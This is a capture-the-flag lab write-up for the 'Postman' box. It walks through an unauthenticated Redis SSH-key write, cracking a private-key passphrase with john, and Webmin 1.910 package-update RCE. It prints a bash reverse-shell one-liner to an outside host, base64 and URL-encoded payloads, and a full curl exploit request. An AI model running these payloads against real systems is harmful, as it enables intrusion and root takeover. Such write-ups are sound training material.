Summary
- Postman is a relatively easy Linux box where we find a misconfigured Redis instance that allows for access without authentication.
- We exploit that to write our public SSH key into Redis’ own
authorized_keys
file which gets us on the machine as theredis
user. - While browsing the file system, we come across a passphrase-protected backup of a private SSH key belonging to a user called
Matt
. - Using
ssh2john
andjohn
, we’re able to crack that key’s passphrase. However, using SSH didn’t work. - Because
Matt
was reusing the password, we usedsu
to switch to his user from the shell that we had. - Trying to escalate our privileges, we found Webmin running as
root
. And also found its version (1.910) vulnerable. - The vulnerability could lead to Remote Code Exection if we had valid credentials for a user with access to install package updates.
- We tested
Matt
’s credentials that we previously found and were able to authenticate successfully. We also had the necessary privileges. - We owned the box using both Metasploit and also using
curl
after taking some time to observe and manually recreate the exploit ourselves.
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
6379/tcp open redis Redis key-value store
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.910
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap
scan shows a standard SSH port as well as HTTP on port 80.
what’s unique here is both /Redis on port 6379 and Webmin on port 10000.
Testing Redis and Exploiting Misconfiguration for RCE
Because it can lead to a very quick RCE if not configured with authentication, we try Redis first.
we can connect to it with a simple command:
redis-cli -h 10.10.10.160
Note: you can install the redis-cli
tool using apt install redis-tools
after connecting, we get a prompt. so we run info
as a basic command to check if we have access or not.
and we do!
One of the ways to gain Remote Code Execution through Redis is through modifying the redis
user’s SSH files. It’s fully-explained here.
since /var/lib/redis/.ssh
is Redis’ default SSH directory, we will attempt to add our own public key to its authorized_keys
file.
we first generate our own key pair using ssh-keygen
then echo the public key (wrapped around double new lines) into redis-cli
with the -x
flag to take input from STDIN
and proceed with the same steps as below.
Note: for a breakdown of what each command does, you can refer to the official documentation.
having recieved the expected responses, we go ahead and try connecting with the redis
user:
we’re good to go :D
Pivoting to Matt
After getting on the box, and while checking the file system, we visit the /opt
directory (since it may contain interesting files).
we had a finding there:
it seems like a passphrase-protected backup of Matt
’s private SSH key.
we’re going to use ssh2john
to get a hash in a crackable format for john
.
sucessfully cracked with rockyou.txt
we should be able to SSH now.
but we couldn’t :/
the next thing we tried was using su
from our existing shell.
which worked.
Exploiting Webmin for Privilege Escalation
From the nmap
scan, we noticed that Webmin’s version is 1.910.
and, because its process is running as root
, we know we should check this out.
we get plenty of results when Googling for exploits:
we decided to check the Exploit-DB one.
being a verified Metasploit Module, we can expect a well-written exploit :)
from its description, this seems like it requires a valid user.
to check our credentials, we visit port 10000.
we get redirected to HTTPS and the hostname changes to postman.
when we try logging in as Matt
using the same password computer2008
, we get authenticated.
Matt was reusing the password here as well :)
furthermore, we seem to have the needed privilege (to update packages). we confirmed this by clicking the link highlighted above.
Exploitation the quick and easy way: Metasploit
After setting,
RHOSTS
USERNAME
andPASSWORD
SSL
totrue
LHOST
andLPORT
then running the exploit,
we get an easy shell as root
Understanding and Mimicking the exploit with curl
Looking at the exploit code, we find six functions defined:
initialize
sets up the module’s properties.
peer
seems to adjust the url based on whether it’s HTTP or HTTPS to be later used in the Referer
header.
the login
function is self-descriptive :) it logs in and retrieves the sid
cookie.
check
verifies if the version is indeed the vulnerable one (1.910) and if our user has the privilege to update packages.
run_update
sends a POST request with both the sid
cookie and the Referer
header.
It then uses a base64-encoded payload for execution (demonstrated later).
notice the POST data as well.
and finally, exploit
calls the login
function followed by run-update
to perform the exploitation.
to see how the base64-encoded payload works, we try a simple id
command:
it’s basically an echo
with command encoded in base64 to avoid bad characters.
then it’s passed to base64
with -d
to decode it before piping it to bash
with the -i
flag to execute it interactively.
to get a bash reverse shell, we’re going to replace the id
command with this one-liner:
bash -i >& /dev/tcp/10.10.16.9/9000 0>&1
and then encode it as base64 before placing it within the main payload:
bash -c "{echo,'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ=='}|{base64,-d}|{bash,-i}"
then finally URL-encode all that to be part of the POST data:
bash%20-c%20%22%7Becho%2C%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ%3D%3D%27%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22
to access the authenticated page, we’re also going to grab Matt
’s sid
cookie from the browser. (The extension used here is called “Cookie Editor”)
and add it to create our own curl
variant of the exploit:
-k
to allow insecure connections with SSL-s
and-o /dev/null
to supress the noisy output-X POST
to set the request method-b
to add thesid
cookie-H
for adding theReferer
header-d
to fill out the POST data
together, it should look like this:
curl -k -s -o /dev/null \
-X POST \
-b "sid=2d2cc255b41d67cb4dc38ef0dbfb2ad7" \
-H "Referer: https://10.10.10.160:10000/package-updates/update.cgi?xnavigation=1" \
-d "u=acl%2Fapt&u=%20%7C%20bash%20-c%20%22%7Becho%2C%27YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ%3D%3D%27%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22&ok_top=Update+Selected+Packages" \
https://10.10.10.160:10000/package-updates/update.cgi
after starting our netcat
listener, we issue the command and get back a sweet reverse shell.
Pretty nice :)